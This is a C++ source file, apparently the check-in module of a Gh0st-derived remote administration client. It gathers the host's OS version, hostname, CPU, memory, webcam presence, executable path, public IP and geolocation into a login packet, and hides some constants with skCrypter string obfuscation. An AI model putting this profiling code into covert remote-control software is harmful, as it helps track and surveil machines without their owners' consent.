#include "StdAfx.h"
#include "LoginServer.h"
#include "Common.h"
#include <string>
#include <iostream>
#include <iomanip>
#include <ctime>
#include <NTSecAPI.h>
#include "common/skCrypter.h"
#include <common/iniFile.h>
#include <location.h>

// by ChatGPT
bool IsWindows11() {
	typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
	RTL_OSVERSIONINFOW rovi = { 0 };
	rovi.dwOSVersionInfoSize = sizeof(rovi);

	HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
	if (hMod) {
		RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
		if (rtlGetVersion) {
			rtlGetVersion(&rovi);
			return (rovi.dwMajorVersion == 10 && rovi.dwMinorVersion == 0 && rovi.dwBuildNumber >= 22000);
		}
	}
	return false;
}

/************************************************************************
--------------------- 
作者：IT1995 
来源：CSDN 
原文：https://blog.csdn.net/qq78442761/article/details/64440535 
版权声明：本文为博主原创文章，转载请附上博文链接！
修改说明：2019.3.29由袁沅祥修改
************************************************************************/
std::string getSystemName()
{
	std::string vname("未知操作系统");
	//先判断是否为win8.1或win10
	typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
	HINSTANCE hinst = LoadLibrary("ntdll.dll");
	if (hinst == NULL)
	{
		return vname;
	}
	if (IsWindows11()) {
		vname = "Windows 11";
		Mprintf("此电脑的版本为:%s\n", vname.c_str());
		return vname;
	}
	DWORD dwMajor, dwMinor, dwBuildNumber;
	NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers"); 
	if (proc==NULL)
	{
		return vname;
	}
	proc(&dwMajor, &dwMinor, &dwBuildNumber); 
	if (dwMajor == 6 && dwMinor == 3)	//win 8.1
	{
		vname = "Windows 8.1";
		Mprintf("此电脑的版本为:%s\n", vname.c_str());
		return vname;
	}
	if (dwMajor == 10 && dwMinor == 0)	//win 10
	{
		vname = "Windows 10";
		Mprintf("此电脑的版本为:%s\n", vname.c_str());
		return vname;
	}
	//下面不能判断Win Server，因为本人还未有这种系统的机子，暂时不给出

	//判断win8.1以下的版本
	SYSTEM_INFO info;                //用SYSTEM_INFO结构判断64位AMD处理器
	GetSystemInfo(&info);            //调用GetSystemInfo函数填充结构
	OSVERSIONINFOEX os;
	os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
	if (GetVersionEx((OSVERSIONINFO *)&os))
	{
		//下面根据版本信息判断操作系统名称
		switch (os.dwMajorVersion)
		{                    //判断主版本号
		case 4:
			switch (os.dwMinorVersion)
			{                //判断次版本号
			case 0:
				if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
					vname ="Windows NT 4.0";  //1996年7月发布
				else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
					vname = "Windows 95";
				break;
			case 10:
				vname ="Windows 98";
				break;
			case 90:
				vname = "Windows Me";
				break;
			}
			break;
		case 5:
			switch (os.dwMinorVersion)
			{               //再比较dwMinorVersion的值
			case 0:
				vname = "Windows 2000";    //1999年12月发布
				break;
			case 1:
				vname = "Windows XP";      //2001年8月发布
				break;
			case 2:
				if (os.wProductType == VER_NT_WORKSTATION &&
					info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
					vname = "Windows XP Professional x64 Edition";
				else if (GetSystemMetrics(SM_SERVERR2) == 0)
					vname = "Windows Server 2003";   //2003年3月发布
				else if (GetSystemMetrics(SM_SERVERR2) != 0)
					vname = "Windows Server 2003 R2";
				break;
			}
			break;
		case 6:
			switch (os.dwMinorVersion)
			{
			case 0:
				if (os.wProductType == VER_NT_WORKSTATION)
					vname = "Windows Vista";
				else
					vname = "Windows Server 2008";   //服务器版本
				break;
			case 1:
				if (os.wProductType == VER_NT_WORKSTATION)
					vname = "Windows 7";
				else
					vname = "Windows Server 2008 R2";
				break;
			case 2:
				if (os.wProductType == VER_NT_WORKSTATION)
					vname = "Windows 8";
				else
					vname = "Windows Server 2012";
				break;
			}
			break;
		default:
			vname = "未知操作系统";
		}
		Mprintf("此电脑的版本为:%s\n", vname.c_str());
	}
	else
		Mprintf("版本获取失败\n");
	return vname;
}

std::string formatTime(const FILETIME& fileTime) {
	// 转换为 64 位时间
	ULARGE_INTEGER ull;
	ull.LowPart = fileTime.dwLowDateTime;
	ull.HighPart = fileTime.dwHighDateTime;

	// 转换为秒级时间戳
	std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);

	// 格式化输出
	std::tm* localTime = std::localtime(&startTime);
	char buffer[100];
	std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
	return std::string(buffer);
}

std::string getProcessTime() {
	FILETIME creationTime, exitTime, kernelTime, userTime;

	// 获取当前进程的时间信息
	if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
		return formatTime(creationTime);
	}
	std::time_t now = std::time(nullptr);
	std::tm* t = std::localtime(&now);
	char buffer[100];
	std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
	return buffer;
}

int getOSBits() {
	SYSTEM_INFO si;
	GetNativeSystemInfo(&si);

	if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
		si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) {
		return 64;
	}
	else {
		return 32;
	}
}

// 检查CPU核心数
// SYSTEM_INFO.dwNumberOfProcessors
int GetCPUCores()
{
	INT i = 0;
#ifdef _WIN64
	// 在 x64 下，我们需要使用 `NtQuerySystemInformation`
	SYSTEM_INFO sysInfo;
	GetSystemInfo(&sysInfo);
	i = sysInfo.dwNumberOfProcessors; // 获取 CPU 核心数
#else
	_asm { // x64编译模式下不支持__asm的汇编嵌入
		mov eax, dword ptr fs : [0x18] ; // TEB
		mov eax, dword ptr ds : [eax + 0x30] ; // PEB
		mov eax, dword ptr ds : [eax + 0x64] ;
		mov i, eax;
	}
#endif
	Mprintf("此计算机CPU核心: %d\n", i);
	return i;
}

double GetMemorySizeGB() {
	_MEMORYSTATUSEX mst;
	mst.dwLength = sizeof(mst);
	GlobalMemoryStatusEx(&mst);
	double GB = mst.ullTotalPhys / (1024.0 * 1024 * 1024);
	Mprintf("此计算机内存: %fGB\n", GB);
	return GB;
}

LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
{
	LOGIN_INFOR  LoginInfor;
	LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
	//获得操作系统信息
	strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());

	//获得PCName
	char szPCName[MAX_PATH] = {0};
	gethostname(szPCName, MAX_PATH);  

	DWORD	dwCPUMHz;
	dwCPUMHz = CPUClockMHz();

	BOOL bWebCamIsExist = WebCamIsExist();

	memcpy(LoginInfor.szPCName,szPCName,sizeof(LoginInfor.szPCName));
	LoginInfor.dwSpeed  = dwSpeed;
	LoginInfor.dwCPUMHz = dwCPUMHz;
	LoginInfor.bWebCamIsExist = bWebCamIsExist;
	strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
	LoginInfor.AddReserved(GetClientType(conn.ClientType())); // 类型
	LoginInfor.AddReserved(getOSBits());                // 系统位数
	LoginInfor.AddReserved(GetCPUCores());              // CPU核数
	LoginInfor.AddReserved(GetMemorySizeGB());          // 系统内存
	char buf[_MAX_PATH] = {};
	GetModuleFileNameA(NULL, buf, sizeof(buf));
	LoginInfor.AddReserved(buf);                        // 文件路径
	LoginInfor.AddReserved("?");						// test
	iniFile cfg(CLIENT_PATH);
	std::string installTime = cfg.GetStr("settings", "install_time");
	if (installTime.empty()) {
		installTime = ToPekingTimeAsString(nullptr);
		cfg.SetStr("settings", "install_time", installTime);
	}
	LoginInfor.AddReserved(installTime.c_str());		// 安装时间
	LoginInfor.AddReserved("?");						// 安装信息
	LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
	std::string str;
	std::string masterHash(skCrypt(MASTER_HASH));
	HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
	hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
#ifndef _DEBUG
	if (hMutex != NULL) {
#else
		{
#endif
		CloseHandle(hMutex);
		config*cfg = conn.pwdHash == masterHash ? new config : new iniFile;
		str = cfg->GetStr("settings", "Password", "");
		delete cfg;
		str.erase(std::remove(str.begin(), str.end(), ' '), str.end());
		auto list = StringToVector(str, '-', 3);
		str = list[1].empty() ? "Unknown" : list[1];
	}
	LoginInfor.AddReserved(str.c_str());			   // 授权信息
	bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
		strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
	const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
	memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
	std::string loc = cfg.GetStr("settings", "location", "");
	std::string pubIP = cfg.GetStr("settings", "public_ip", "");
	IPConverter cvt;
	if (loc.empty()) {
		std::string ip = cvt.getPublicIP();
		if (pubIP.empty()) pubIP = ip;
		loc = cvt.GetGeoLocation(pubIP);
		cfg.SetStr("settings", "location", loc);
	}
	if (pubIP.empty()) {
		pubIP = cvt.getPublicIP();
		cfg.SetStr("settings", "public_ip", pubIP);
	}
	LoginInfor.AddReserved(loc.c_str());
	LoginInfor.AddReserved(pubIP.c_str());

	return LoginInfor;
}


DWORD CPUClockMHz()
{
	HKEY	hKey;
	DWORD	dwCPUMHz;
	DWORD	dwReturn = sizeof(DWORD);
	DWORD	dwType = REG_DWORD;
	RegOpenKey(HKEY_LOCAL_MACHINE, 
		"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
	RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn);
	RegCloseKey(hKey);
	return	dwCPUMHz;
}

BOOL WebCamIsExist()
{
	BOOL	bOk = FALSE;

	char	szDeviceName[100], szVer[50];
	for (int i = 0; i < 10 && !bOk; ++i)
	{
		bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),     
			//系统的API函数
			szVer, sizeof(szVer));
	}
	return bOk;
}